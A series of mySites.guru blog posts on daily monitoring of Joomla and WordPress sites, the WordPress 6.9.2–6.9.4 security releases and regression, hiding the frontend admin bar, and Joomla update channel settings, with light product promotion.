<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Security issues reported</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">On 11 March 2026, while researching this article, two security issues with Joomla's automated update mechanism were identified and reported to the Joomla Security Strike Team by Phil Taylor.</p> </div>

Build a Morning Routine for Checking All Your Joomla Sites in 5 Minutes

phil@mysites.guru (Phil Taylor) — Tue, 10 Mar 2026 00:00:00 GMT

Running an agency means juggling dozens (sometimes hundreds) of client sites. Joomla updates land, SSL certificates creep toward expiry, hosting providers have outages at 3am, and somebody always manages to get hacked over the weekend.

You could spend your morning logging into each site individually, checking admin panels, refreshing hosting dashboards, and scrolling through email threads. Or you could do the whole thing in 5 minutes from a single dashboard.

This post walks through a practical morning routine built around mySites.guru. It's written for Joomla agencies, but every step applies equally to WordPress and generic PHP sites. The platform handles all three with full feature parity.

Why Do You Need a Morning Routine at All?

"My sites are fine, I would know if something went wrong."

That's the line every agency owner says right before a client calls to tell them their site has been down since Tuesday.

Most site problems are silent. A failed backup doesn't announce itself. An expired SSL certificate shows a scary browser warning to your client's customers, but your client might not notice for days. A Joomla core update has been sitting in the queue for two weeks and the vulnerability it patches is being actively exploited.

A structured morning check catches these problems early, before your client notices and before a small issue turns into an emergency.

The routine below covers five areas:

Dashboard overview: the 30-second scan
Alerts and important items: what broke overnight
Uptime status: which sites are actually responding
Backup verification: confirming your safety net exists
Update queue: getting ahead of security patches

Each step takes about a minute. The whole routine takes under five.

What Do You Need Before You Start?

Step 0: Coffee. Always coffee.

Nothing good happens before coffee. Make it strong, make it hot, and bring it to your desk. The rest of this routine assumes caffeine is flowing. Phil gets his beans from Cooper & Co in Jersey and grinds at home (not a sponsored link, just great coffee).

The tools you need

If you're already using mySites.guru, skip ahead to Step 1. If not, here's what the routine assumes:

Your Joomla sites are connected to mySites.guru via the connector plugin. You can add unlimited sites to your account - see the full guide to managing multiple Joomla sites for setup details.
Uptime monitoring is enabled for every site. The left sidebar shows a count of sites without a monitor, so you can spot any gaps.
Backup schedules are configured. mySites.guru integrates with Akeeba Backup for Joomla (free or professional) and All-in-One Migration for WordPress.
Real-time alerts are turned on for events you care about: admin logins, configuration file changes, and SSL expiration warnings.
You have organised your sites with tags (the "Site Group Tags" feature) so you can filter by client, server, or priority level.

All of this is one-time setup. Once it's done, the morning routine is pure review.

Step 1: The 30-second dashboard scan

Log into your mySites.guru account. The first thing you see is the Your Sites page, a list of every connected site with status indicators.

But before you look at the list, look at the left sidebar. This is where mySites.guru does the heavy lifting for you.

The Important Items section

The sidebar contains a section called Important Items with live counters. These update automatically as snapshots run throughout the day. On a good morning, this section is empty. On a bad morning, you'll see entries like:

Hacked Sites: sites where the security audit has detected malicious code. This is the red flag. If you see this counter at any number above zero, deal with it first.
Sites Not Connected: the mySites.guru connector plugin could not reach these sites. Could be a hosting outage, a DNS problem, or the plugin was accidentally removed.
Core Update Needed: sites running an outdated version of Joomla (or WordPress). Click through to see exactly which versions are available.
Invalid SSL Cert Install: sites where the SSL certificate has expired, has a chain problem, or is misconfigured.
No Uptime Monitor: sites that are not being actively monitored for downtime. These are blind spots in your coverage.
No Backup Schedule: sites without an automated backup schedule. If something goes wrong on one of these sites, there's no safety net.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Tip: Make the sidebar your first glance</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">If every counter in the Important Items section is zero, your morning is off to a great start. If any counter is above zero, click it to go directly to the affected sites.</p> </div>

Filtering by platform

Below the total site count, the sidebar breaks your sites down by platform: Joomla, WordPress, and generic PHP. If you are primarily a Joomla agency, clicking "Your Joomla Sites" filters the main list to show only Joomla sites. Useful when you want to focus your morning check on one platform at a time.

Using tags for priority

If you have set up Site Group Tags, they appear in the sidebar too. Many agencies create tags like "Priority Clients", "Managed Hosting", or "Monthly Retainer" so they can check their most important sites first. Click a tag to filter the site list instantly.

This entire sidebar scan takes 30 seconds. You now know whether anything is on fire.

Step 2: Review overnight alerts

Before you dig into individual sites, check your email for mySites.guru alerts that arrived overnight.

mySites.guru sends real-time alerts based on triggers you configure:

Admin login alerts: someone logged into a Joomla or WordPress admin panel. If it happened at 3am and it wasn't you or your team, that's worth investigating.
File change alerts: a monitored file (like configuration.php on Joomla or wp-config.php on WordPress) was modified. This is near real-time detection, with the check running on every page load.
Configuration change alerts: someone saved Global Configuration on a Joomla site.
SSL expiration warnings: a certificate is approaching its expiration date within your configured grace period.
Uptime alerts: a site failed to respond to three consecutive checks from multiple global locations.

Triage the alerts

Not every alert needs action. An admin login at 9am from your developer's IP is expected. An admin login at 2am from an unfamiliar IP is not.

For file change alerts, mySites.guru uses MD5 hash comparison on every page load. If a monitored file's hash changes, you get notified immediately. Legitimate changes (like saving configuration after a Joomla update) trigger alerts too, and that's intentional. You can whitelist your own IP addresses to reduce noise from your own work.

Team alerts

If you have team members on your account, each person can configure their own alert preferences per site. This means your on-call person gets the overnight alerts while everyone else reviews them during business hours.

Step 3: Check uptime status

Click through to the uptime monitoring overview in your mySites.guru account. This screen shows every connected site with its current status: up or down.

mySites.guru's built-in uptime engine checks your sites every minute. If the initial HEAD request fails, it retries with a GET request, then tries again from a different global location. Only after all three attempts fail does it send a downtime alert.

What to look for

Currently down sites: obvious, but these need immediate attention. If a site is down right now, your client's visitors are seeing an error page.
Response time trends: mySites.guru shows the last 24 hours of response times for each site. A site that is technically "up" but responding in 8 seconds has a performance problem that needs investigating. Use this to spot hosting issues before they become outages.
Repeated short outages: some hosting environments have brief hiccups that resolve themselves. If you see a pattern of short downtimes on the same site, it usually points to resource limits, cron job conflicts, or a server under strain.

Sites without monitors

Remember that "No Uptime Monitor" counter from the sidebar? If it's above zero, add monitors to those sites now. It takes seconds. mySites.guru monitors every connected site at no extra cost, so there's no reason to leave gaps.

Step 4: Verify backup status

Navigate to the Scheduled Backups page. This is where you confirm that your automated backups are actually running.

The backup schedule overview

The Scheduled Backups page lists every site with a configured backup schedule, showing:

When the last backup completed
Whether the backup succeeded or failed
Which backup profile was used
When the next scheduled backup is due

Sites are sorted so the ones that need attention appear first: failed backups, missed schedules, and sites that have not been backed up recently.

Common backup issues

Failed backups usually mean the backup process timed out, the hosting server ran out of memory, or the Akeeba Backup profile needs adjustment. Click into the failed backup for error details.

Missing schedules were already flagged by the sidebar's "No Backup Schedule" counter. Sites without a schedule are not being backed up automatically. Fix this by setting a default backup profile on the site's Settings tab.

Stale backups happen when a schedule is configured but the last backup was weeks ago. This can occur if the Akeeba Backup component was updated and the profile needs reconfiguration.

The one-click backup option

If you see a site that needs an immediate backup, maybe because you're about to push an update and want a fresh restore point, you can trigger a backup directly from this page. The backup runs in the background on the mySites.guru server queue; you don't need to keep your browser open.

For bulk operations, the "Start Backup Of All Sites Visible Below" button queues backups for every site on the page. Filter the list first (by tag, platform, or search) to target specific groups.

Step 5: Review the update queue

Last step. Open the update queue to see which Joomla core versions and extensions have updates available.

Core updates

The sidebar's "Core Update Needed" counter already told you how many sites are behind. Click through to see the specific versions. mySites.guru supports mass upgrades, so you can select individual sites or all of them and queue the upgrades in one operation.

The process:

Backup first. Always take a fresh backup before upgrading. Use the bulk backup button from Step 4.
Queue the upgrades. Select the sites, click upgrade, and the queue processes them in the background. You'll hear a success sound for each completed upgrade if you keep the tab open.
Verify after. Trigger a fresh snapshot on the upgraded sites to confirm everything is healthy.

Extension and plugin updates

Beyond core updates, mySites.guru tracks every extension and plugin installed on your Joomla sites. The snapshot collects this information automatically, and if an update is available, it appears in the update queue.

You can enable automatic updates for specific extensions on a per-site or per-extension basis. When the next snapshot runs and detects an available update for an auto-update-enabled extension, mySites.guru applies it and notifies you of the result.

For extensions you prefer to update manually (maybe you want to test them on a staging site first, or the extension has a history of breaking changes), leave auto-update off and review them during this morning check.

Prioritise security updates

Not all updates are equal. A Joomla security patch that fixes an actively exploited vulnerability should be applied the same morning you see it. A minor version bump for a gallery plugin can wait until your next maintenance window.

mySites.guru's vulnerability alerting flags known security issues in extensions, helping you tell the difference between "update at your convenience" and "update right now."

The complete routine at a glance

The full routine as a daily checklist:

0:00 – 0:30 | Dashboard scan

Log in and check the Important Items sidebar counters
If any counter is above zero, click through to the affected sites
Filter by platform or tag if needed

0:30 – 1:30 | Alert review

Scan overnight alert emails for unexpected admin logins, file changes, or downtime
Triage: expected activity vs. suspicious activity
Investigate anything unusual

1:30 – 2:30 | Uptime check

Review the uptime monitoring overview
Check for currently down sites
Look at response time trends for performance issues
Add monitors to any unmonitored sites

2:30 – 3:30 | Backup verification

Open the Scheduled Backups page
Check for failed or stale backups
Trigger manual backups if needed
Ensure every site has a backup schedule

3:30 – 5:00 | Update queue

Review pending core updates
Back up affected sites, then queue the upgrades
Check extension updates and apply or schedule them
Prioritise security patches

That's the whole routine. Five areas, five minutes, every site covered.

Does This Routine Scale from 10 Sites to 500?

The routine above works whether you manage 10 sites or 500. Here's why.

The sidebar counters don't change with scale. Whether you have 10 sites or 500, the Important Items section gives you the same quick summary. Zero hacked sites is zero hacked sites, regardless of the denominator.

Snapshots run automatically. mySites.guru snapshots every connected site twice a day without any manual intervention. You're reviewing results, not running checks. The per-site overhead of your morning routine is effectively zero.

Bulk operations are built in. Mass upgrades, bulk backups, and the command palette (Cmd+K / Ctrl+K) mean you're never clicking through hundreds of individual sites. Type a few characters, hit enter, and you're on the right page.

Tags keep things manageable. For large portfolios, Site Group Tags let you break the morning check into segments. Check your "Priority" tag first, then "Managed Clients", then "Legacy Sites." Each segment uses the same five steps; you're just working through filtered views.

The command palette shortcut

If you want to skip the sidebar entirely and jump straight to a specific site or tool, press Cmd+K (Mac) or Ctrl+K (Windows) from anywhere in the dashboard. The command palette searches across all your sites, all tools, and all account functions. Type "backups" and you're on the backup page. Type a domain name and you're on that site's management page. It's faster than clicking through menus.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Keyboard shortcuts go further</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">Press the question mark key (?) anywhere in mySites.guru to reveal a full keyboard shortcuts page. Shortcuts include mass updates (m u), mass installs (m i), toggling dark mode (d), and logging out (Shift+L).</p> </div>

What about WordPress sites?

Everything in this routine applies to WordPress sites too. mySites.guru manages Joomla, WordPress, and generic PHP sites with identical features across all three platforms. The sidebar counters include all platforms. The backup scheduler works with Akeeba Backup for WordPress and All-in-One Migration. The uptime engine checks every connected site regardless of platform.

If you run a mixed agency with both Joomla and WordPress clients, you don't need separate tools or separate routines. One login, one dashboard, one morning check.

For a detailed walkthrough of the WordPress-specific workflows, see the guide to managing multiple WordPress sites.

How Can You Automate Beyond the Morning Check?

The morning routine is for your awareness. But much of the work can be automated so that problems are caught and resolved before you even log in.

Scheduled snapshots and audits

mySites.guru schedules audits on a daily, weekly, or monthly basis. The deep security audit checks every line of code in every file on your webspace, including hidden files you might not know about, using crowdsourced detection patterns that improve daily. If a hack is found on another subscriber's site, the detection rule is added to the system, and your next audit benefits from it.

Automatic extension updates

For extensions you trust to update without testing, enable auto-updates. mySites.guru applies the update on the next snapshot when it detects a new version, and notifies you of the result. This is particularly useful for well-maintained security extensions and backup components that you want kept current at all times.

SSL monitoring on autopilot

SSL certificate checks run on every snapshot. mySites.guru downloads the certificate, checks the issuer, validates the full chain, and monitors the expiration date. You set a grace period (default is 2 days before expiry) and the system alerts you automatically. The SSL overview page lists all your sites sorted by certificate expiry date, with a CSV export for offline review.

Real-time file monitoring

The file monitoring system watches critical files like configuration.php and wp-config.php using MD5 hash comparison on every page load. This isn't a scheduled scan; it fires in real time. By the time you sit down for your morning check, any overnight file changes have already been reported to your inbox.

What Are the Common Mistakes to Avoid?

Skipping the backup check. It's easy to assume backups are running because you set up the schedule once. Hosting changes, extension updates, and disk space limits all break backup schedules silently. Check the backup page every morning.

Ignoring "Sites Not Connected." A disconnected site is a blind spot. You're not getting snapshots, you're not getting alerts, and you won't know about problems until someone tells you. Reconnect these sites immediately. The connector plugin may need reinstalling or the site may have moved to a new server.

Treating all updates equally. A Joomla security release that patches an actively exploited vulnerability isn't the same as a template update that adds a new colour option. Security updates go first.

Not using tags. If you manage more than 20 sites and aren't using tags, you're making the morning check harder than it needs to be. Tags let you prioritise, filter, and batch-process sites by any criteria you choose.

Checking sites one by one. The whole point of a centralised dashboard is that you don't need to log into individual admin panels. If you find yourself opening Joomla admin URLs to verify things, you're working around the tool instead of with it. Trust the snapshot data, which checks over 140 data points per site, twice a day.

Building the habit

A morning routine only works if you actually do it.

Same time every day. Pick a time (first thing, right after coffee, whatever works) and stick to it. The routine takes five minutes, so there's no excuse to skip it.

Make it a team responsibility. If you have team members, rotate the morning check. The person on duty reviews the dashboard and raises anything that needs attention. mySites.guru supports unlimited team members at no extra cost.

Use the command palette. Once you learn Cmd+K, you won't go back to clicking through menus. It shaves seconds off every navigation, and those seconds add up over a 5-minute routine.

Keep a log. Not a formal document, just a quick note in Slack or your project management tool. "Morning check: all clear" or "Morning check: 3 failed backups on Hetzner, investigating." It takes 10 seconds and gives your team visibility into the routine.

Act on problems the same morning. The whole point of the morning check is early detection. If you spot a problem and add it to a backlog for "later," you've defeated the purpose. Fix what you can immediately, escalate what you can't, and track what needs scheduling.

Getting started

If you're not yet using mySites.guru, the first month is free. Sign up, connect your sites, and try this morning routine on your own portfolio. The pricing is GBP 19.99 per month for unlimited sites, the same price since 2012.

Everything described in this post is included in that single subscription: the dashboard, the uptime monitoring, the snapshot engine, the alert system, the backup scheduler, the update queue, the security audits, and the SSL monitoring. No add-ons, no per-site fees.

Five minutes a morning, hundreds of sites checked.

<div class="not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950"> <p class="font-medium text-green-900 dark:text-green-200">Ready to try it?</p> <p class="mt-1 text-sm text-green-800 dark:text-green-300">Sign up for a <a href="/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/" class="underline">free first month</a>, connect your Joomla and WordPress sites, and try this morning routine on day one.</p> </div>

WordPress 6.9.2, 6.9.3, and 6.9.4: 10 Security Fixes, a Crash, and Incomplete Patches

phil@mysites.guru (Phil Taylor) — Tue, 10 Mar 2026 00:00:00 GMT

<p class="text-sm text-neutral-500 dark:text-neutral-400"><time datetime="2026-03-10">Published: 10 March 2026</time> - <time datetime="2026-03-11">Updated: 11 March 2026</time></p>

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200"><abbr title="Too Long; Didn't Read">TL;DR</abbr>: Update to WordPress 6.9.4 now.</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">WordPress shipped three security releases in two days. 6.9.2 patched 10 vulnerabilities but broke sites. 6.9.3 fixed the crash. 6.9.4 (March 11) completes three patches that weren't fully applied - PclZip path traversal, Notes authorization bypass, and XXE in getID3. If you're on anything older than 6.9.4, update now.</p> </div>

WordPress 6.9.2 dropped on March 10, 2026 as a security-only release patching 10 vulnerabilities. Within hours, site owners started reporting blank websites after updating.

The WordPress project pulled the release, reverting the version API and download page back to 6.9.1. By 22:40 UTC the same day, 6.9.3 was released with the theme compatibility fix included. Then on March 11, WordPress 6.9.4 shipped after the security team discovered that three of the original patches were incomplete.

If you haven't updated yet, update to 6.9.4 now. All 10 security patches are fully applied, and the regression that crashed sites is fixed.

What are the 10 WordPress security fixes?

These are the vulnerabilities patched in 6.9.2 and carried forward into 6.9.3. From the release announcement:

Blind SSRF - reported by sibwtf and several other researchers
PoP-chain weakness in the HTML API and Block Registry - reported by Phat RiO
Regex DoS in numeric character references - reported by Dennis Snell of the WordPress Security Team
Stored XSS in nav menus - reported by Phill Savage
AJAX query-attachments authorization bypass - reported by Vitaly Simonovich
Stored XSS via data-wp-bind directive - reported by kaminuma
XSS overriding client-side templates in admin - reported by Asaf Mozes
PclZip path traversal - reported independently by Francesco Carlucci and kaminuma
Authorization bypass on the Notes feature - reported by kaminuma
XXE in the external getID3 library - reported by Youssef Achtatal; a fix to getID3 itself has also been coordinated

These fixes are being backported to all branches still receiving security updates (currently back to 4.7). WordPress 7.0 Beta 4, also released on March 10, includes all 10 security patches plus 49 additional updates (14 in the Editor, 35 in Core). WordPress 7.0 was originally targeting April 9, 2026, but the release has since been delayed while the core team reworks the real-time collaboration architecture.

Staying on 6.9.1 or earlier means your site is exposed to all 10 of these. Update to 6.9.4.

What went wrong with WordPress 6.9.2?

John Blackbourn, a WordPress core developer, responded in the support forums:

There appears to be an incompatibility with themes that use a certain theme framework under the hood.

A new security check in wp-includes/template-loader.php added a realpath() call that expects $template to be a strict PHP string. Some theme frameworks pass a "stringable object" through the template_include filter instead, an object with a __toString() method. That's worked for years because PHP's include handles stringable objects just fine. realpath() does not. It gets an object, returns false, and the template never loads. Blank page.

The bug only affected the front end. wp-admin continued to work, so affected site owners could still log in and manage their sites.

What did WordPress 6.9.3 fix?

John Blackbourn committed the fix to WordPress trunk, touching wp-includes/template-loader.php and wp-includes/class-wp-block-patterns-registry.php. The fix adds a check for stringable objects before calling realpath():

$is_stringy = is_string( $template ) || ( is_object( $template ) && method_exists( $template, '__toString' ) );
$template   = $is_stringy ? realpath( (string) $template ) : null;

Stringable objects get cast to a string with (string) before hitting realpath(). Anything that's neither a string nor stringable gets set to null and the security checks reject it as before. The same fix is applied to block pattern file paths in class-wp-block-patterns-registry.php.

Props to Dennis Snell and Weston Ruter on the fix, committed by John Blackbourn. This fix shipped in 6.9.3.

Timeline

The timeline on March 10, 2026:

6.9.2 released - 10 security patches ship
Sites start crashing - blank front pages reported within hours on certain theme frameworks
WordPress pulls the release - version API and download page revert to 6.9.1
John Blackbourn confirms the bug in the support forums and identifies the theme framework incompatibility
Jos Klever posts a workaround - replace wp-includes/template-loader.php with the 6.9.1 version
John Blackbourn commits the fix to trunk - stringable object support added to template loader and block patterns registry
21:44 UTC - Otto (WordPress.org Tech Guy) confirms on Reddit that 6.9.3 is coming shortly and that the affected frameworks are "pretty rare"
~22:40 UTC - 6.9.3 goes live - version API, download page, and releases archive all show 6.9.3

March 11, 2026:

WordPress Security Team discovers incomplete patches - Thomas Kräftner's responsible disclosure confirms that three of the 10 security fixes from 6.9.2 weren't fully applied
6.9.4 released - completes the PclZip path traversal fix, Notes authorization bypass fix, and XXE fix in getID3

What did WordPress say officially about 6.9.3?

The WordPress 6.9.3 release page describes this as a "fast follow" to 6.9.2. The page notes that passing stringable objects through the template_include filter is not an officially supported method in WordPress - the filter is documented as only accepting strings. But enough themes relied on it that the team restored compatibility anyway.

Only two files changed between 6.9.2 and 6.9.3: wp-includes/template-loader.php and wp-includes/class-wp-block-patterns-registry.php. All 10 security fixes from 6.9.2 remain intact.

What did WordPress 6.9.4 fix?

<p class="text-sm text-neutral-500 dark:text-neutral-400"><time datetime="2026-03-11">Updated: 11 March 2026</time></p>

One day after the 6.9.2/6.9.3 saga, WordPress 6.9.4 shipped. From the release announcement:

The WordPress Security Team has discovered that not all of the security fixes were fully applied, therefore 6.9.4 has been released containing the necessary additional fixes.

Because this is a security release, it is recommended that you update your sites immediately.

So what happened? Three of the 10 security patches that shipped in 6.9.2 were incomplete. The vulnerabilities were partially addressed but not fully closed. Thomas Kräftner discovered this through responsible disclosure, and the WordPress security team confirmed it. Neither 6.9.2 nor 6.9.3 had complete fixes for these three issues - only 6.9.4 does.

The three fixes that were incomplete in 6.9.2 and 6.9.3:

PclZip path traversal - the original patch in 6.9.2 didn't fully close the path traversal vector. 6.9.4 updates /wp-admin/includes/file.php with the complete fix. Originally reported by Francesco Carlucci and kaminuma.
Authorization bypass on the Notes feature - the REST API endpoint for comments (/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php) needed an additional authorization check. Originally reported by kaminuma.
XXE in the getID3 library - the XML external entity vulnerability in /wp-includes/ID3/getid3.lib.php wasn't fully mitigated. A new version of the external getID3 library has also been released by James Heinrich. Originally reported by Youssef Achtatal.

Three files changed between 6.9.3 and 6.9.4:

/wp-admin/includes/file.php
/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php
/wp-includes/ID3/getid3.lib.php

What did the WordPress security team learn from the retrospective?

<p class="text-sm text-neutral-500 dark:text-neutral-400"><time datetime="2026-03-25">Updated: 25 March 2026</time></p>

Two weeks later, the WordPress Security Team published an official retrospective on the whole saga.

The biggest takeaway: there was no step in the minor release checklist to verify that all commits were successfully merged into the release branch. Three of the 10 security commits made it into trunk but never landed in the 6.9 branch, which is how 6.9.2 shipped with incomplete patches. The team calls it a checklist oversight that had simply never been caught before.

Backporting was painful too. Applying the fixes to 22 older branches (back to 4.7) took the better part of a week, partly due to contributor time constraints and partly because a bug in the WordPress.org SVN pre-commit hook blocked pushes to the 5.2 branch and earlier. The 6.0 branch (6.0.12) remains unreleased at time of writing due to an unresolved build issue.

Some things did go well. Shipping 6.9.2 before starting backports got the fix out to the majority of sites faster. Releasing 7.0 Beta 4 alongside 6.9.3 meant beta testers weren't left on a known-insecure version, something that's only happened three times in WordPress's 20-year history.

Going forward, the team plans to add merge verification to the release checklist, improve automation around backports, require built-asset testing before tagging, and add unit test coverage for stringable objects in the template_include filter. Matt Mullenweg has also asked the team to explore AI-assisted tooling for reviewing changes going into releases to assess breakage risk.

If you manage WordPress sites professionally, the full retrospective is worth reading. A 20-year-old release process still had gaps nobody noticed until three patches slipped through.

What should you do now?

Update to WordPress 6.9.4. It includes all 10 security patches (fully applied), the theme regression fix from 6.9.3, and the three corrected patches. There's no reason to stay on an older version.

On 6.9.1 or earlier? Update to 6.9.4. You're missing 10 security fixes.
On 6.9.2 with a broken front end? Update to 6.9.4 from wp-admin (which still works) or replace wp-includes/template-loader.php via SFTP, then update to 6.9.4.
On 6.9.2 or 6.9.3 and everything works? Still update to 6.9.4. Three security patches are incomplete in those versions.
Have auto-updates enabled? Your site should pick up 6.9.4 automatically. Check to make sure it did. If you want more control over when updates happen, you can disable automatic WordPress updates entirely or allow only minor security patches while blocking major version jumps.

After updating, run a suspect content scan to check whether any of these vulnerabilities were exploited before the patch landed on your site.

What if you manage large numbers of WordPress sites?

Replacing one file or clicking "Update" on one site is straightforward. But if you're an agency or freelancer responsible for 50, 100, or 200+ client sites, today was probably stressful. Which sites auto-updated to 6.9.2? Which are still on 6.9.1 and exposed to 10 unpatched vulnerabilities? Which ones have already picked up 6.9.4? You need answers to all of those questions, and you need them fast.

That's what mySites.guru is built for. From a single dashboard you can:

See every site's WordPress version at a glance - instantly know which sites are on 6.9.1, 6.9.2, 6.9.3, or 6.9.4 without logging into each one
Get vulnerability alerts - we monitor WordPress core, plugins, and themes for known security issues and notify you when your sites are affected
Push updates to all your sites at once - roll out 6.9.4 across your entire portfolio in minutes instead of hours
Schedule updates for maintenance windows instead of relying on auto-updates that break things at 2am on a Saturday
Run a free security audit on any site to check for outdated software, misconfigurations, and known vulnerabilities

Days like today are exactly why we built mySites.guru. Start for free - no credit card required.

References

WordPress 6.9.2 retrospective - the Security Team's post-mortem covering what went well, what didn't, and action items
WordPress 6.9.4 release announcement - official post confirming three incomplete patches, by John Blackbourn
WordPress 6.9.4 release page - documentation listing the three files changed and the security fixes completed
WordPress 6.9.3 and 7.0 Beta 4 announcement - official news post covering both releases, by John Blackbourn
WordPress 6.9.3 release page - official "fast follow" release notes confirming the two-file fix
WordPress 6.9.2 release announcement - official post from the WordPress team
Support thread: "No pages displaying after WP updates to 6.9.2" - where John Blackbourn confirmed the bug and Jos Klever posted the workaround
WordPress version check API - now shows 6.9.4 as latest stable
Fix commit in trunk - John Blackbourn's commit adding stringable object support to the template loader and block patterns registry
WordPress trunk commits - full commit history
Otto's Reddit comment - WordPress.org Tech Guy confirming 6.9.3 was coming shortly
Reddit: r/Wordpress discussion - community discussion and reports from affected site owners

Read our complete security guide for handling incidents like this at scale.

How to Disable the WordPress Admin Menu Bar on the Frontend When Logged In

phil@mysites.guru (Phil Taylor) — Mon, 09 Mar 2026 00:00:00 GMT

Why is the admin bar a problem?

Log into any WordPress site and visit the frontend. There it is: a black toolbar spanning the top of the page, offering links to the dashboard, the current page's edit screen, and whatever else WordPress and your plugins decide to put there.

For a solo site admin, the toolbar is handy. For everyone else who's logged in (subscribers, customers, members, students) it's confusing clutter. On a WooCommerce store, a logged-in customer sees admin links they can't use. On a membership site, subscribers see a toolbar that has nothing to do with their experience. If you manage multiple WordPress sites, this becomes a recurring annoyance across your entire portfolio.

And then there's the design problem. The admin bar adds 32 pixels of fixed positioning to the top of every page. Custom themes with fixed headers, sticky navigation, or precise spacing get pushed down. Fullscreen hero sections have a black bar on top that doesn't match the site's branding.

What are the three ways to disable the frontend admin bar?

Per-user toggle

WordPress provides a per-user setting: go to Users → click a user → uncheck "Show Toolbar when viewing site." This works for individual users but doesn't scale. You'd need to edit every user profile, and new users get the toolbar enabled by default.

Theme functions filter

Add this to your theme's functions.php:

// Disable admin bar for all non-administrators
add_filter('show_admin_bar', function () {
    return current_user_can('manage_options');
});

This keeps the bar for admins and hides it for everyone else. It's a code change that needs to be in your theme (or a custom plugin), and it needs to be replicated across every site. If you're already editing wp-config.php for other things, WordPress debug constants covers the related configuration options.

Plugin approach

Several plugins exist to manage admin bar visibility by role. Each one is another dependency to maintain across your WordPress portfolio. You can also block plugin installs entirely with a wp-config.php constant if you want to lock things down further.

Why is this challenging across multiple sites?

The frontend admin bar setting is easy to configure on one site but tedious across many. The first three approaches above all need to be applied individually:

Per-user toggles don't transfer between sites
Theme function changes only apply to the theme they're in
Plugins need installing and configuring on each site

For agencies managing 20+ WordPress sites, each with its own theme and user base, keeping this consistent requires either meticulous documentation or a centralised management tool. We wrote more about this in how to manage multiple WordPress sites like a pro.

How does mySites.guru handle this?

mySites.guru's snapshot has a toggle for "Disable the menu bar on the frontend when logged in." Flip it, and the admin bar is hidden for all logged-in users on that site. If you change your mind, you can toggle it back with one click.

Under the hood, mySites.guru deploys a must-use plugin with this filter:

add_filter('show_admin_bar', '__return_false');

Must-use plugins load before regular plugins and can't be deactivated from the WordPress admin, so the setting sticks regardless of theme changes or plugin conflicts. You don't need to touch code or manage yet another plugin.

Instead of adding a filter to each theme or clicking through user profiles, you toggle it once per site from the mySites.guru dashboard. The tool page shows the current state of this setting across all your WordPress sites at a glance:

Snapshot monitoring tracks the setting going forward, so if a theme update or plugin re-enables it, you'll know.

The same dashboard handles related settings like removing the WP logo from the admin bar, stopping automatic updates, and monitoring plugin vulnerabilities.

What about removing the WordPress logo from the admin bar?

This is a different thing from hiding the bar entirely. The WordPress logo in the admin bar links to WordPress.org resources and visually identifies the CMS. On white-label client sites, you probably want it gone. mySites.guru has a one-click toggle to remove the WP logo from both the frontend and backend toolbar.

When should you disable the frontend admin bar?

Disable for non-admins when:

Running a membership or e-commerce site where customers log in
The theme's design conflicts with the 32px admin bar offset
Clients are confused by admin links they can't use
You want a clean, branded frontend experience

Keep enabled when:

Only administrators log into the site
Content editors need quick access to the "Edit Page" link from the frontend
The site has few logged-in users and the convenience outweighs the clutter

For most client sites managed by agencies, disabling the frontend admin bar for non-admin roles is the right default.

How to Prevent Accidental Joomla Version Jumps with Update Channel Management

phil@mysites.guru (Phil Taylor) — Mon, 09 Mar 2026 00:00:00 GMT

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0"><strong>TL;DR:</strong> Joomla's update channel setting controls which versions your site is offered. If it's set to "Joomla Next" instead of "Default", a routine update check can offer a major version jump - from Joomla 4 to 5, or from 5 to 6. mySites.guru flags this misconfiguration on every connected site and lets you fix it remotely in one click.</p> </div>

One wrong setting in the Joomla Update component is all it takes to accidentally upgrade a production Joomla 4 site to Joomla 5, or a Joomla 5 site to Joomla 6. The setting is called the update channel (internally called updatesource), and it determines which versions Joomla considers available when you hit "Check for Updates" in the admin panel.

Most Joomla administrators never think about this setting because it ships on "Default" out of the box. But it only takes one change (during a test, by a team member who didn't know what it did, or after following a tutorial that forgot to mention switching it back) and suddenly your next routine update isn't a minor patch. It's a full major version jump.

What is a Joomla update channel?

The update channel is a configuration option inside the Joomla Update component (Components > Joomla Update > Options in the Joomla admin panel). It tells Joomla which update server to check and, critically, which version series to consider as available updates.

Joomla's update system works by fetching an XML file from an update server URL. The update channel setting determines which XML file gets fetched, and each file points to a different set of available versions.

The channels you'll encounter:

Default

This is what every production site should use. The Default channel only offers updates within your current major version series. If you're running Joomla 5.2.3, the Default channel will offer 5.2.4, 5.3.0, and so on - but it will never offer Joomla 6.0.0.

The Default channel is the safe choice because it keeps your site on the version series you intentionally installed and tested against.

Joomla Next

This is the channel that causes problems. The Joomla Next channel includes the next major version series in the available updates. If you're on Joomla 5 and Joomla 6 has been released, the Joomla Next channel will show Joomla 6 as an available update.

